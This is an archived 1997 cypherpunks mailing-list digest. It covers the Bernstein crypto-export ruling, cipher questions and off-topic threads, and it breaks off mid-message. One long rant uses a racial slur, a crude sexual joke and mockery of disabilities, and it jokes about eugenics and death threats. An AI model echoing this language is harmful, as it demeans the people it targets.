Subject: Crypto Export Restrictions are Unconstitutional (fwd)
Message-ID: <199708280046.UAA19223@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



----- Forwarded message from John Gilmore -----

>From cpunks  Tue Aug 26 13:46:02 1997
Message-Id: <199708261734.KAA06596@toad.com>
X-Authentication-Warning: toad.com: Host localhost [127.0.0.1] didn't use HELO protocol
To: bernstein-announce@toad.com
Subject: Crypto Export Restrictions are Unconstitutional
Date: Tue, 26 Aug 1997 10:34:53 -0700
From: John Gilmore <gnu@toad.com>
Reply-To: John Gilmore <gnu@toad.com>
Sender: owner-cypherpunks@toad.com
Precedence: bulk

	  CRYPTO EXPORT RESTRICTIONS ARE UNCONSTITUTIONAL
	Professor Bernstein is free to publish his software

San Francisco, August 26, 1997 - The Federal District Court here
struck down Commerce Department export restrictions on the privacy
technology called encryption yesterday, concluding that "the
encryption regulations are an unconstitutional prior restraint in
violation of the First Amendment."  For the first time, Judge Marilyn
Hall Patel ordered the government not to prosecute or harass the
plaintiff, Professor Daniel Bernstein, and those who use or publish
his encryption software.  The decision knocks out a major part of the
Clinton Administration's effort to force companies to design
government surveillance into computers, telephones, and consumer
electronics.

"This is wonderful news," said Prof. Bernstein.  "I hope I can get
some of my ideas published before they change the law again."

The decision is a victory for free speech, academic freedom, human
rights, and the prevention of crime.  American scientists and
engineers will now be free to collaborate with others in the United
States and in foreign countries.  This will enable them to build a new
generation of tools for protecting the privacy and security of our
communications.

"Once again, it took a federal court to sort out technology and the
Constitution," said Lori Fena, Executive Director of the Electronic
Frontier Foundation, which backed the suit.  "Let this decision signal
the other two branches of government that when making laws pertaining
to the Internet, they must honor their oaths to uphold the
Constitution."

The decision is strategic because the Clinton Administration has been
using the export restrictions to influence domestic privacy policy.
Companies that agree to build "key recovery" technology into their
products are exempt from most of the restrictions.  Key recovery, a
follow-on to the Clipper Chip, is designed to give the government
untraceable access to users' private information.

The Federal District Court of the Northern District of California
last December struck down the ITAR, a set of encryption restrictions
enforced by the State Department.  A few weeks later, the Government
created virtually identical restrictions in the Commerce Department's
Bureau of Export Administration (BXA).  Yesterday's decision
invalidates the new restrictions, stating, "the encryption regulations
issued by the BXA appear to be even less friendly to speech interests
than the ITAR."  She warns that "the government cannot avoid the
constitutional deficiencies of its regulations by rotating oversight
of them from department to department," though concluding that she
"does not believe that such was the intent here."

"Our right to create, use, and deploy encryption come from our basic
civil rights of free speech, freedom of the press, freedom from
arbitrary search, due process of law, and privacy.  Judge Patel has
affirmed those roots in the First Amendment," philosophizes John
Gilmore, Electronic Frontier Foundation co-founder.  "Our Founding
Fathers used encryption -- and even invented some -- and did not
intend any ``crypto exceptions'' to the Bill of Rights."

DETAILS OF MONDAY'S DECISION

In the heart of the ruling, "The court declares that the Export
Administration Regulations . . . insofar as they apply to or require
licensing for encryption and decryption software and related devices
and technology, are in violation of the First Amendment on the grounds
of prior restraint and are, therefore, unconstitutional as discussed
above, and shall not be applied to plaintiff's publishing of such
items, including scientific papers, algorithms or computer programs."

The Court also held that the government's licensing procedure fails
to provide adequate procedural safeguards.  When the Government acts
legally to suppress protected speech, it must reduce the chance of
illegal censorship by the bureacrats involved, for example by making
the government go to a judge to decide the issue.  The EAR does not
require this; in fact, it precludes it.  "And most important, and most
lacking, are any standards for deciding an application.  The EAR
reviews applications for licenses ``on a case-by-case basis'' and
appears to impose no limits on agency discretion."

The Court dissected the export controls' exemption for printed
materials at length, calling it "so irrational and administratively
unreliable that it may well serve to only exacerbate the potential for
self-censorship."  The government's "distinction between paper and
electronic publication . . . makes little or no sense and is untenable."

The Court not only declared that these regulations are invalid and
unenforceable, but also prevented the Government from "threatening,
detaining, prosecuting, discouraging, or otherwise interfering with
plaintiff or any other person described . . . above in the exercise of
their federal constitutional rights as declared in this order."

The immediate effect of this decision is that Prof. Bernstein may
publish his encryption software, and that others may read, use,
publish and review it.  In addition, others in industry are studying
the court's analysis, and might decide to publish their own software
on the Internet as well.

Pretty Good Privacy, Inc, is one such company, which believes that
future courts will find Judge Patel's reasoning persuasive.  "We are
particularly pleased the court has reconfirmed that computer programs,
like other literary works, are accorded full protection under the
First Amendment," said Bob Kohn, vice president and general counsel
for Pretty Good Privacy.

The final form of the judgment will be negotiated between the parties,
and presented to the court within a week.  The government could either
seek an emergency appeal of the injunction, or take up to 60 days from
the entry of judgment to appeal.

ABOUT THE ATTORNEYS

Lead counsel on the case is Cindy Cohn of the San Mateo law firm of
McGlashan & Sarrail, who is offering her services pro bono.  Major
additional legal assistance is being provided by Shari Steele of the
Electronic Frontier Foundation; Lee Tien of Berkeley; James Wheaton
and Elizabeth Pritzker of the First Amendment Project in Oakland; and
Robert Corn-Revere of the Washington, DC, law firm of Hogan & Hartson.


ABOUT THE ELECTRONIC FRONTIER FOUNDATION

The Electronic Frontier Foundation (EFF) is a nonprofit civil
liberties organization working in the public interest to protect
privacy, free expression, and access to online resources and
information.  EFF is a primary sponsor of the Bernstein case.  EFF
helped to find Bernstein pro bono counsel, is a member of the
Bernstein legal team, and helped to collect members of the academic
community and computer industry to support this case.

Full text of the lawsuit and other paperwork filed in the case is
available from EFF's online archives at:
        http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case/

Scanned images of Monday's decision are available at:
        http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case/
	      Legal/970825_decision.images/

The full text of Monday's decision will soon be available at:
        http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case/
	      Legal/970825.decision

Professor Daniel Bernstein will be building his new Constitutionally-
protected cryptography web page at:
	http://pobox.com/~djb/crypto.html

Electronic Frontier Foundation Contacts:

	Shari Steele, Staff Attorney
	301/375-8856, ssteele@eff.org

	John Gilmore, Founding Board Member
	541/354-6541, gnu@toad.com

	Cindy Cohn, McGlashan & Sarrail
	415/341-2585, cindy@mcglashan.com

----- End of forwarded message from John Gilmore -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cypherpunks Maintenance Account <cpunks@www.video-collage.com>
Date: Thu, 28 Aug 1997 09:01:08 +0800
To: cypherpunks@www.video-collage.com
Subject: Bernstein decision is out! (fwd)
Message-ID: <199708280046.UAA19252@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



----- Forwarded message from John Gilmore -----

>From cpunks  Tue Aug 26 09:26:49 1997
Message-Id: <199708261312.GAA02742@toad.com>
X-Authentication-Warning: toad.com: Host localhost [127.0.0.1] didn't use HELO protocol
To: bernstein-announce@toad.com, gnu@toad.com
Subject: Bernstein decision is out!
Date: Tue, 26 Aug 1997 06:12:24 -0700
From: John Gilmore <gnu@toad.com>
Reply-To: John Gilmore <gnu@toad.com>
Sender: owner-cypherpunks@toad.com
Precedence: bulk

Judge Patel has made her decision, and it is up on the Web at
http://www.eff.org/.

We're still preparing the legal analysis, but the basic outline is
that she declares the Commerce Dept. export-control scheme
unconstitutional.  She also issued an injunction against the Commerce
Dept. preventing them from enforcing these regulations against
Prof. Bernstein or others who distribute his software.

More details later...

	John Gilmore

----- End of forwarded message from John Gilmore -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cypherpunks Maintenance Account <cpunks@www.video-collage.com>
Date: Thu, 28 Aug 1997 08:56:32 +0800
To: cypherpunks@www.video-collage.com
Subject: Re:  CAST key size (fwd)
Message-ID: <199708280047.UAA19296@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



----- Forwarded message from Peter Gutmann -----

>From cpunks  Mon Aug 25 08:03:32 1997
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
To: hvdl@sequent.com
Subject: Re:  CAST key size
Reply-To: pgut001@cs.auckland.ac.nz
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on cs26.cs.auckland.ac.nz
Date: Mon, 25 Aug 1997 23:39:58 (NZST)
Message-ID: <87250919812278@cs26.cs.auckland.ac.nz>
Sender: owner-cypherpunks@toad.com
Precedence: bulk

>Just a quick question on the keysize of the CAST algorithm. According to
>the bible of Bruce,  CAST uses a 64 bit keysize, while  in the manual of
>PGP 5.0 (page 89), Phill states that CAST uses a 128 bit keysize...
>
>Am I missing something?
 
"CAST" isn't a particular algorithm, but a design process for creating 
algorithms.  The particular CAST instantiation used in PGP 5 is either 
CAST-128 or CAST5, depending on who you ask.  Other versions of CAST abound, 
including an earlier one used by MS for unknown purposes which had a 64-bit 
key, probably the one Bruce is referring to.
 
Peter.

----- End of forwarded message from Peter Gutmann -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 10th CypherPunk <10@dev.null>
Date: Thu, 28 Aug 1997 10:56:50 +0800
To: cypherpunks@toad.com
Subject: Stupid CypherPunks, Negative Reputation Capital & A Warm Place To Shit
Message-ID: <3404E026.2E01@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Stupid CypherPunks, Negative Reputation Capital & A Warm Place To Shit 
(Was: Re: Sweden's Social Democrats Sterilize the Inferior / Was: DoJ 
press release on Bernstein case / Was: lack of evolutionary pressures / 
Was: Save the Children! / Was: Internet Content Coal. bars press from 
"news rating" mtg on 8/28 / Was: Welcome to Cypherpunks!)

Declan McCullagh wrote:
> >From: David Boaz <dboaz@cato.org>
> >Subject: Social Democrats Sterilize the Inferior
> >
> >Surprisingly, the revelations about 40 years of forced sterilizations by the
> >Social Democratic governments in Sweden generated only small stories in the
> >New York Times and the Washington Post.

  I forwarded a list of stupid CypherPunks to Swedish authorities today, 
asking them to see that the list was brought to the attention of whoever 
is currently in charge of resurrecting the concept of Eugenics.
{Which has never actually left us, but has only been transmutated into 
a kindler, gentler, type of sterilization and euthenasia}.

  I was prompted to do so, not only in order to personally profit from
having recently invested quite a sum of money in betting that my stock
on the Futures Reputation Capital Market would dive to a new low, but
also by the realization that the Great Threat To Freedom and Privacy
(TM) is not the "stupid sheeple" who blindly follow the False Shepherds
of Freedom (and cry out to the Pontius Pirates of Privacy to crucify the
Constitution), who are to be decried as the Great Threat to Liberty and
Human Rights.
  Neither is it the Intellectual Elitists who have decided to take it 
upon themself to decide "which" of our freedoms should be compromised
"for the greater good"; or to decide "what" is news and what is *not*
news; or to decide "who" has genetic traits which are a credit to the
human race, and who has genetic traits which are a *debit* to human
evolution; or to decide "why" one form of expression on the cypherpunks
list is an "obscene flame" and another is "acceptable criticism."
{ "They came for the flamers and I wasn't a flamer, so I didn't speak
 up. Then they came for those who 'replied' to the flamers, and I
 didn't 'reply' to the flamers, so I didn't speak up. Then they came
 for the Last True CypherPunk, and even the lurkers remembered they
 were cyphperpunks, and they spoke up.
                        - T.C.M in the year 1 BC/beyond censorship }

  No, the Great Threat To The CypherFreedom and CypherLiberty is
CypherUs. (The 'u' in "us" is for 'you' and the 's' is for 'stupid')

  What *really* prompted this post was my seeing a short news blurb,
at around 3 a.m. on the Swedish sterilization story above, and then
not seeing it again despite flipping back and forth between all the
major TV news programs, to get further details.
  What *really* prompted this post was spending over an hour on
the InterNet, searching online news sources for details of the story,
only to find a single, brief reference to it. (But finding tens of
thousands of references to Nancy Lopez's progress in the Swedish
Women's Golf Tournament taking place.)
  What *really* prompted this post was seeing the news on the Patel
ruling in the Bernstein case, and knowing that it would be the focus
of a great amount of press, and discussion, and analysis, and thought,
and hyperbole, and...etc., etc, despite the fact that the government
is laughing their butts off over a bunch of freedom-fighting dinosaurs
dancing in the streets over their victory in tearing a small piece of
concrete from a Wall that is being torn down slowly while plans are
being finalized for replacing it with an ElectroMagnetic Curtain that
can be built quickly under false pretexes while the netizen's are
having their attention diverted with false issues which are nothing
more than the decaying ruins of a previous civilization.

Those who are doomed to believe (forged) history are bound to repeat it.
> >By JIM (BELL-)HEINTZ (57)
> >.c The Associated (Bench) Press
> >Sweden had as many as 60,000 of its own citizens sterilized between 
> >1935 and 1976 (the year that Hitler finally died). 
> >Adults and children were singled out by doctors, school authorities
> >or other officials and were pressured to consent to the procedures.
> >(Keep in mind that these were Voluntary-Mandatory dehumanizations.)
...
> >Though Sweden's sterilization program was a matter of record, it 
> >received little public attention, ignored in schoolbooks and hardly
> >mentioned in reference works. 
> >(In other news, Nancy Lopez is kicking butt at the something-or-other
> >golf tournament in Sweden, as 5,782,386.4 URL pointers show in Yahoo,
> >Mountain Dew, and Alta Vista, the tangled web search engines.)
> > A recent series by the prestigious newspaper Dagens Nyheter,
> >however, has stirred national debate (but has managed to be covered
> >up in most of the rest of the world by Nancy Lopez and Judge Patel).

  We all live within our own set of "parenthesis". We used to think of
them as 'principles,' but then we found out that others, sometimes very
good people, had a different set of parenthesis, which enclosed thoughts
and attitudes and beliefs which were different from our own, and which
might be just as valid from the perspective of their position in life.
  Then we found out that our own personal parenthesis were not a whole 
lot different from the walls being built by governements to keep people
apart; to keep people being enemies of one another.
  How did we find out about parenthesis, and walls--their effect on
our lives, how they separated us from the good people on the other side
of them? We found this out via information and the technologies which
brought it to our attention. Word-of-mouth and sailing ships, newspapers
and the telegraph, the wireless and airplanes, television and jumbo
jets.
  And finally, we found out about parenthesis and walls when we set sail
on a new technology and discovered a new world, with a new language;
a world and language where technology and communication were becoming
one and the same. We discovered a world of Communication Technology
in which the Medium *was* the Message, and the Message could be whatever
we decided it would be, because We could *control* the Medium.
  _We_ could control the _Medium_.
  We could *control* the Medium.
  We (whatever we conceived ourself to be within the bounds of our own
personal parenthesis), could exercise...Free Speech...we could CONTROL
the Medium by which we Communicated.

  We could "talk" to someone in Weber-Weber Land, using words, and when
words were no longer adequate (You know who you remind me of? ...uhh,
there's this woman, a poet...uhhh), then we could "talk" to them with
pictures (here's a GIF, from me to you, of what she looks like), and we
could "talk" to them with *complete* information (and I am attaching
the poem I quoted here, so that you can read it for yourself, and draw
your own conclusions from your own context, and hers, as well as mine).

  We could _emphasize_ words, or we could SHOUT! Or we could emphasize
words in a way that made more sense to *us*, even though we could still
see understand the emphasis that _others_ were trying to commmunicate.
  And when others said, "There's no need to SHOUT!"...
  Well, WERE WE SHOUTING OR NOT? It was pretty obvious. The new method
of communicating changed what was _obvious_ and what was not; it changed
how we could lie and what we could lie about (I'm only twelve, AND I AM
*NOT* SHOUTING!!!); it changed what we could pretend to ourselves, and
what we couldn't (I am a computer expert, and I will prove it just as
soon as I manage to kick these hacker kids off my system and access my
resume); it changed the rules of engagement and the structure of power
(My congressman sent me and 10,000 others an email saying he would be
introducing legislation to criminalize spam. I sent him back anonymous
email telling him that if he did so, I would kill him.); it changed
what was possible and what was not, in our own minds and in our own
communications, if not in our immediate reality (Where am I writing 
this from? From the compound in Waco! I can see the .jpegs of the
flames rising in front of my face. I can hear the .wav screams of
the children as they burn to death. I can merge them with the tape
loop of the government negotiator doublespeaking, "David, don't do
this to these people." as the *governement* was doing it to them.)

  Most importantly of all, the new method of communication changed
our control over the information we received. It changed the level
of *access* we had to information. It *empowered* us to *seek* the
information we wanted, in order to build our own personal belief
systems and direct the encompassing scope of our perceptions.
  It empowered us to search for the word "Nazi" in our New World
according to _our_own_ Order (using AND, OR, NOT, +, -, etc.)
  It allowed us to read about the Holocaust ~and~ Revisionism. It
allowed us to read about the Death of Hitler ~and~ the Escape of
the Nazi's to the South Pole. It allowed us to read about the
liberation of the Death Camps ~and~ the Escape of Eugenics into
the bowels of Planned Parenthood. It allowed us to read all of
the things which were an accepted part of our normal reality ~and~
those things which ran totally contrary to our accepted reality 
~-~AND~-~ everything in between, in a variety of combinations,
according to OUR search/wishes/beliefs/perceptions.

  The new technology allowed us to "seek out" new communities where the
netizens who passed through could share our sameness or learn from our
differences. We could move from community to community, and yet always
remain our own, separate, Community of One.
	To: Major Domo @ Dumbo_Homo_Rambo_MauMau . NET

	subscribe community@other.org <me@mine.com>
	end (<---a command. *my* command. *my choice. *my decision)  
  We could join, we could unjoin. We could "subscribe," not to a belief
system, but to a community with an individual mix of belief systems
which
were similar/disimilar to our own. If we had nothing to learn, and
nothing
to teach, we could "unsubscribe."
  We didn't have to be consistent. We could subscribe to the Holocaust
Remembrance mailing list, the Holocaust Denial mailing list, ~and~ to
the Holocaust Revival mailing list and Holocaust Prevention mailing
list.
{Or, if we had the extreme good fortune to be handsome, beautiful, witty
and intelligent, as well as between the ages of <=zero and >=infinity,
we could subscribe to the cypherpunks mailing list, get our ultrasecret 
magic decoder ring, an invisible Toad tattored on our over-imaginative
forearm, and support the Remembrance/Denial/Revival/Prevention of the
Holocaust, the Hallowed Cause, the Halloween Costume and, last but not
least--Howard Cossell.}

  In short, the New World Communication Union allowed us not only the
Freedom of Speech, but also the "Freedom of Communication."
  "FREEDOM OF COMMUNICATION!!!"
  Freedom to <whisper>. Freedom to SHOUT! 
  FREEDOM TO SHOUT REALLY, REALLY LOUDLY!!!!!
  FREEDOM TO SHOUT F#!U$!C%!K^!(!I)!N-!G OBSCENELY!
  (Freedom to <quietly> object to the previous freedom being abused.)

  The New World Communication Constitution was a "we the people" to whom
"Anything not standardized, is permitted."
  Freedom to Subscribe, Freedom to Unsubscribe
  Freedom to 'scribive', freedom to "Take me off this damn list NOW!"
   (freedom to do the above 200 times and wonder why it wasn't working)
  Freedom to write your own majordomo code so that it supports all
   of the standardized majordomo commands, plus adding support for
   those with agraphia to 'srivibe', 'scrumbive', and 'scumdive'.
  Freedom to remain on the mailing lists where good-natured humorists
    made light fun of disabilities such as agraphia, and to leave the
    mailing lists where jackbooted, intolerant rednecks make fun of
    *serious* disabilities, such as Tourette FUCK!COCKSUCKER! Syndrome.
  Freedom to start a private mailing list where you can control the
   issues discussed, the way they are discussed, and to ask people to
   refrain from certain discussions on the list because they are
   off-topic, or BECAUSE I SAY SO, AND I'M THE MODERATOR!
  Freedom to start a public mailing list aimed at supporting crypto-
   anarchy, and leave it up to those who choose to join as to how
   best to address, discuss, contend, manipulate, piss, threaten,
   shout, insult, debate, and personally decide both what issues
   are relevant to the list and which issues are irreverent to
   the list, ~and~ which 'issues' may be leaving those nasty stains
   in your shorts/panties/(both).
  Freedom to divide your time between mailing lists where you know
   exactly what to expect because the list deals with specific issues
   and the list members stay on-topic, and mailing lists where mad
   hatters/dogs&englishment/scientists ramble on endlessly about a
   variety of issues, non-issues, re-issues, forgotten issues, and
   the like, often losing track of what the hell it was they were
   even talking about, if they were talking about anything at all.

  Which reminds me...
  The point that I may be trying to make, might have something to
do with the fact that, in attempting to find further details about
a 10-second sound-byte/news-blurb which had piqued my interest, I
was suddenly struck by the realization that the difference between
sheeple and people might be defined as whether they are passively
processing input supplied by the Great Machine, or whether they are 
actively seeking and organizing their own information/input.
	Passive Information is not Knowledge.
	Passive Perception is not Attention.
	Passive Acceptance is not Decision. 
	Passive acceptance of perceived information is not Wisdom.
	Robots are not human. Sheeple are not people.
	Humans are not robots. People are not sheeple.

  In attempting to seek out further details about the news blurb which
concerned tens of thousands of my fellow humans being declared by others
*not* to be human--to *not* have the right to pass their genes on to
a succeeding generation--I realized that the mainstream media had no
interest in "providing" me with those details. I realized that it *was*
very important for the mainstream media to provide me with the details
of how well Nancy Lopez was managing to get the small, round sphere to
drop into a hole officially designated as a "cup."
  When I found a single, short (English) newstory on the sterilization
of a mountain of my fellow humans, and a pointer to a Swedish magazine
series on the issue/evert, which I couldn't read, I realized that my
knowledge of further details would come from a combination of my own
efforts and those of other netizens whose brains and domains and
interests encompassed English, Swedish, the InterNet, and Humanity.

  My mundane mind recognized that life and human nature are such that
others interests lie mainly in providing *their* information, which
is of interest to *them*, and that it is up to *me* to position myself
to encounter and/or seek that portion of the available information
that I need to satisfy my own personal interests.
  My paranoid mind noted that I had seen the original news blurb only
once, after which this newsworthy event mysteriously disappeared and
had to thereafter be 'sought' by myself, and I realized that someone,
somewhere, had made a decision as to what information would be made
available to me througt *their* media. (After which I consulted,
*my* media--the InterNet.)
  My depressed mind noted that I had managed to find only a single
piece of usable information on the issue/event I had searched for
on *my* media, and realized that the reason for this was a combination
of censorship, tragedy of the commons, comfort, and stupidity.
of censorship, tragedy of the commons, comfort, convenience, laziness 
and stupidity.  

Comfort - I like to sit on my fat ass and watch TV.  
Convenience - It is easy to just turn on the Tube and take whatever 
       it is that the mainstream wants to provide for me.  ("Watch me
       and I'll bleed you, cause you eat the shit I feed you." -Zappa)  
Tragedy of the Commons - 25,000,000 Lakers fans named Bubba would
       much rather hear about one putt than about 60,000 forced
        sterilizations.  
Laziness - I didn't post or make available to others the single piece
       of information I found. Why should I expect that others will
       automatically share the information they found? 
 Censorship - The Great Battle taking place on the InterNet is the
       battle over *ACCESS* to information. Who will provide it? Who
       will be allowed to access it? What will be provided? What will
       access be denied to?
        The Great War on the InterNet is over *CONTROL* of information.
       Control of perception and attention. Control of virtual reality.  
Stupidity - I think I'm human. I think I'm people. I think I'm *me*.
       I think I'm a CypherPunk.  

  I'm not human, I'm a robot who turns on the TV to get news about what
is taking place in my world.  I'm not people. I'm a sheeple who laughs 
along with the canned laugh-track on the sitcom. I'm a sheeple who taps 
his foot to the "Hollywood Strings Play the Rolling Stones" muzak in the 
supermarket. I'm a sheeple who waits for more news about my fellow 
humans being sterilized against their will, and then sit through three 
replays of Nancy Lopez's twenty foot putt, becoming comfortably numb, 
and forgetting about the problems of 'others'. 
   I'm not a CypherPunk. I didn't take the information source I had
found and share it with the list. I didn't write code--I didn't take
this information and past information, and use my knowledge to create
a post which others on the list could debug and add their own ideas
to expand and diversify my creation.

  I'm the 'nigger' in the joke that got the presidential campaign press
plane jokester fired.
  I just want loose shoes, tight pussy, and a warm place to shit.
(The Politically Correct way to tell that joke is to replace 'nigger'
 with 'citizen'.)
  I'm a 'stupid' CypherPunk who hopes that someday the InterNet will
match the high ideals of Television in providing me with all the 
information that is fit to byte.

  Well, the foregoing may not quite be true, just yet, but it *will*
be after the Great Bandwidth Crisis--or the Great InterNet Terrorism
Crisis--or the Great InterNet [Your Crisis Here] Crisis--when the
government is "forced" to step in and "protect" us from ourself.
  I will settle for the 'official' internet news from the 'official'
internet news sources, because I know I will not find further details
on the Swedish Sterilization issue. 
  There won't be enough 'Bandwidth' to provide the details. The
details will be censored, in the interests of preventing 'Net
Terrorism.' The [Your Crisis Here] problem will make it necessary to
censor the details, make them top-secret, change them, deny them, 
reconstruct them.
  The foregoing *will* be true after the bumper-sticker which says,
"TV is REAL!" is changed to "WebTV is REAL!"


10th CypherPunk





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 28 Aug 1997 09:36:09 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
Message-ID: <4624afc117cc70ecd2729a840f5d3e21@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Sean Roach <roach_s@alph.swosu.edu> wrote:
>>Afterwards, a compensation arrangement is made between your
>>protection company and the protection company of your victim.

>Also, according to what I remember, the "protection company" was your
>extended family.  Pay up or face the wraith of all the deceased's
>cousins, nephews, uncles, neices, aunts, maybe his kids.

This seems to have been a common case, but it was not the rule.

There were a limited number of franchises available for protection
companies.  Protection franchises were bought and sold like any other
business.  Like businesses, some did well and grew in size and value
under the care of their stewards and others did not.

The ability to change protection companies at will is important - it's
what distinguishes this system from feudal "protection" systems where
the "clients" are actually serfs.

The Icelandic idea of the extended family did not map precisely to
ours.  Divorces were easily and commonly arranged.  There was a lot of
turnover and a lot of half-siblings around.  There were some
interesting adoption customs, too.  People sometimes adopted children
they liked, even if the parents were still living.  This did not mean
that the children didn't continue to live with the natural parents.
But the adopting parent would help out here and there.  (In "Njal's
Saga", for example, an adopting parent beats up people for his adopted
daughter and this causes no end of trouble.)

Just Another Cypherpunk

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VRRxmtyWMHSp7j+2Ngz8Idu7CJHqUfekcuSdPKank3QaXO9nEDDnWsoWK94UWBrh
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w/BoG/6kA59bmfvV8odU/q5CM9vFuJmLb8Swtc7YZXal5a6v2KX5+g==
=MFgT
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 28 Aug 1997 11:16:02 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: PGP & IBM (Tadpole) POWERportable N40 & AIX?
Message-ID: <199708280256.VAA10143@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Does anyone know of any gotcha's with this machine, AIX, and PGP?

Thanks!


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 28 Aug 1997 13:15:36 +0800
To: Sean Roach <cypherpunks@Algebra.COM
Subject: Re: heart
In-Reply-To: <199708280337.XAA03583@www.video-collage.com>
Message-ID: <3.0.2.32.19970827220917.006efda0@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:37 PM 8/27/97 -0400, Sean Roach wrote:
>I wasn't referring to when the things work improperly.  I was referring to
>cases specifically like the lawsuit brought against the makers of the TEC-9
>because some idiot used one on an office building full of people and it had
>the odassity to work.

Actually, it didn't work. The TEC-9 is such a lousy gun, it jammed
immediately. The killer dispatched all his victim with his backup 45. Not
that the pro-victimization lobby would care much about the facts.



--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 28 Aug 1997 14:14:59 +0800
To: cypherpunks@toad.com
Subject: Re: Monkey Wrench into the works
In-Reply-To: <199708271737.KAA26892@proxy3.ba.best.com>
Message-ID: <v0300783eb02ac5333a3f@[207.94.249.75]>
MIME-Version: 1.0
Content-Type: text/plain



A quick glance at the web page shows that most of the features of their
system could be achieved with a Blum Blum Shug (BBS) generator.  However,
some of the features seem to require that the BBS factors be known, and
some seem to require that they be secret.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 28 Aug 1997 14:24:23 +0800
To: cypherpunks@toad.com
Subject: Reduced choices in beer for cryptoanarchists
Message-ID: <19970827230948.59862@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



-------Begin Forwarded Message----------------------------

The following is a letter sent to Miller Brewing.  Miller's response is at
the end.

Miller Brewing Company
Milwaukee, Wisconsin  53201

Dear Sir or Madam,

I have been a drinker of Miller beer's for many years (actually, ever since
that other company donated a big chunk of change to Handgun Control Inc.
back in the mid 80's).

Initially, my beer of choice was Lite, but some time in mid 1990 while in
Honduras I switched to MGD smuggled up from Panama. Now, for nearly six
years, I have been a faithful drinker of MGD.

For these past years, I have come to expect certain things from Genuine
Draft.  I expect that whenever I see that gold can of MGD, I am about ready
to enjoy a great, smooth brew.

But wait!  Sometime around the first of the year, my beloved MGD changed
colors, so to speak.  That familiar gold can was no longer gold!  Knowing
that I am, by nature, somewhat resistant to change, I forced myself to
reserve judgment on the new can design.

Gradually, I grew to appreciate the new label.  That was until about May of
this year.  That was when I discovered (empirically) that I really didn't
like the new design.  Further investigation of the cause of my distress
resulted in the
following observations:

1. Your cans are made of aluminum.
2. Aluminum is a great conductor of energy.
3. Your beer is commonly consumed outside, and thus, the
 container may be exposed to sunlight.
4. Sunlight striking the can causes radiant warming of the  surface of the
can.
5. The resultant heat (energy) is transferred through the  aluminum, by
conduction, to the contents of the can (the beer).
6. Warm beer sucks.

This is a process that can be observed in just about any beer. However, this
process is significantly accelerated in MGD because you painted the damn can
black!!!

Who was the rocket scientist that designed the new graphic for the can and
implemented the change right before summer? Granted, this process may not be
real evident up there in Wisconsin, but down here in Oklahoma where the
summers are both sunny and hot, this effect is quite a problem. There's no
telling what the folks in Texas and Arizona are having to put up with.

Knowing that you would probably not address this issue unless you had firm
evidence of a problem, I and several other subjects conducted extensive
experimentation.  The results of these experiments are listed below.

The experiments were conducted over two days on the deck next  to my pool.
 The study included seven different types of beer  (leftovers from a party
the previous weekend) that were initially  chilled to 38 deg. (and then left
exposed to sunlight for different  lengths of time.  These beers were
sampled by the test subjects at different intervals.  The subjects, all
normally MGD drinkers, were asked at each sampling interval their
impressions of the different beers.  The length of time between the initial
exposure  to the sunlight and point where the subject determined the sample
undrinkable (the suckpoint) was determined.  The average ambient temperature
for the trials was 95 degrees F.

 Beer Type                      Average Suckpoint (min)
 Miller Lite (white can)                 6.2
 Bud (white can)                          5.5
 Bud Lite (silver can)                   5.2
 Ice House (blue and silver can)  4.4
 Coors Lite (silver can)                4.1
 Miller Genuine Draft (black can) 2.8
 Coors (gold can)                         0.1

It was evident that the color of the can directly correlates to the average
suckpoint, except for Coors, which was pretty much determined to suck at any
point.

It is to be hoped that you will consider re-designing your MGD cans.  All
beer drinkers that are not smart enough to keep their beer in the shade will
thank you.

Sincerely,
Bradley Lee
Beer-drinker
___________________________________________________________
Dear Bradley Lee,

Thank you for your letter and your concern about the MGD can color as it
relates to premature warming of the contents.  Like you, we at Miller Beer
take beer drinking very seriously.  To that end, we have taken your letter
and subsequent experiment under serious consideration.  Outlined below are
our findings and solution to your problem.  May we add that we have had
similar
letters from other loyal beer drinkers, mostly from the Southern United
States.

